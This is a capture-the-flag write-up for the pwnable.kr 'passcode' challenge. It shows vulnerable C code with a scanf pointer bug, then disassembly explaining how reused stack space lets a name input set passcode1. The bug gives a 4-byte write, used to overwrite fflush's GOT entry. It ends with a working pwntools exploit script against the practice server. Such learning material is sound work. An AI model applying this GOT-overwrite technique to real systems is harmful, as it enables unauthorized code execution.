code:
1 #include <stdio.h>
2 #include <stdlib.h>
3
4 void login(){
5 int passcode1;
6 int passcode2;
7
8 printf("enter passcode1 : ");
9 scanf("%d", passcode1);
10 fflush(stdin);
11
12 // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
13 printf("enter passcode2 : ");
14 scanf("%d", passcode2);
15
16 printf("checking...\n");
17 if(passcode1==338150 && passcode2==13371337){
18 printf("Login OK!\n");
19 system("/bin/cat flag");
20 }
21 else{
22 printf("Login Failed!\n");
23 exit(0);
24 }
25 }
26
27 void welcome(){
28 char name[100];
29 printf("enter you name : ");
30 scanf("%100s", name);
31 printf("Welcome %s!\n", name);
32 }
33
34 int main(){
35 printf("Toddler's Secure Login System 1.0 beta.\n");
36
37 welcome();
38 login();
39
40 // something after login...
41 printf("Now I can safely trust you that you have credential :)\n");
42 return 0;
43 }
There is an functional bug "scanf("%d", passcode1);" in func login, line 9, which can be corrected as "scanf("%d", &passcode1);". In this case, if we can choose the initial value of "passcode1", we can write 4bytes at any writable space.
As for how to initialize this value, after analysis of code we can get that, "welcome()" and "login()" share the same space as their stack. Meanwhile, the author didnot manually initialize variables.
main:>>
......
0x0804867a e88affffff call sym.welcome
0x0804867f e8e0feffff call sym.login
......
welcome:>>
; var int local_70h @ ebp-0x70
; var int local_ch @ ebp-0xc
; var int local_4h @ esp+0x4
0x08048609 55 push ebp
0x0804860a 89e5 mov ebp, esp
0x0804860c 81ec88000000 sub esp, 0x88
......
0x0804862a b8dd870408 mov eax, str._100s ; "%100s" @ 0x80487dd
0x0804862f 8d5590 lea edx, [local_70h]
0x08048632 89542404 mov dword [local_4h], edx
0x08048636 890424 mov dword [esp], eax
0x08048639 e862feffff call sym.imp.__isoc99_scanf; int scanf(const char *format)
......
0x08048663 c9 leave
0x08048664 c3 ret
login:>>
; var int local_10h @ ebp-0x10
; var int local_ch @ ebp-0xc
; var int local_4h @ esp+0x4
0x08048564 55 push ebp
0x08048565 89e5 mov ebp, esp
0x08048567 83ec28 sub esp, 0x28 ; '('
......
0x08048577 b883870408 mov eax, 0x8048783
0x0804857c 8b55f0 mov edx, dword [local_10h]
0x0804857f 89542404 mov dword [local_4h], edx
0x08048583 890424 mov dword [esp], eax
0x08048586 e815ffffff call sym.imp.__isoc99_scanf; int scanf(const char *format)
......
So the position of "name" in welcome() is ebp - 0x70, and the position of "passcode1" in login() is ebp - 0x10.
0x70 - 0x10 = 0x60 = 96
But the length of "name" is 100.
So now we can choose the initial value of passcode1.
I decide to rewrite the GOT(Global Offset Table)
.plt :>>
.plt:08048430 ; int fflush(FILE *stream)
.plt:08048430 _fflush proc near ; CODE XREF: login+2Fp
.plt:08048430 jmp ds:off_804A004
.plt:08048430 _fflush endp
.plt:08048430
.got.plt:>>
.got.plt:0804A004 dd offset fflush ; DATA fflushr: _XREF
If I cover 0x0804A004 with the address of "system("cat flag")", this challenge is solved.
And that code's address is :>>
0x080485e3 c70424af8704. mov dword [esp], str._bin_cat_flag ; [0x80487af:4]=0x6e69622f ; LEA str._bin_cat_flag ; "/bin/cat flag" @ 0x80487af
0x080485ea e871feffff call sym.imp.system ; int system(const char *string)
So the script is :>>
from pwn import *
s = ssh(host = "pwnable.kr", user = "passcode", password = "guest", port = 2222)
p = s.process(executable = "./passcode")
print(p.recv())
p.sendline("a"*96 + "\x04\xa0\x04\x08")
print(p.recv())
p.sendline(str(int("0x080485e3", 16)))
print(p.recvall())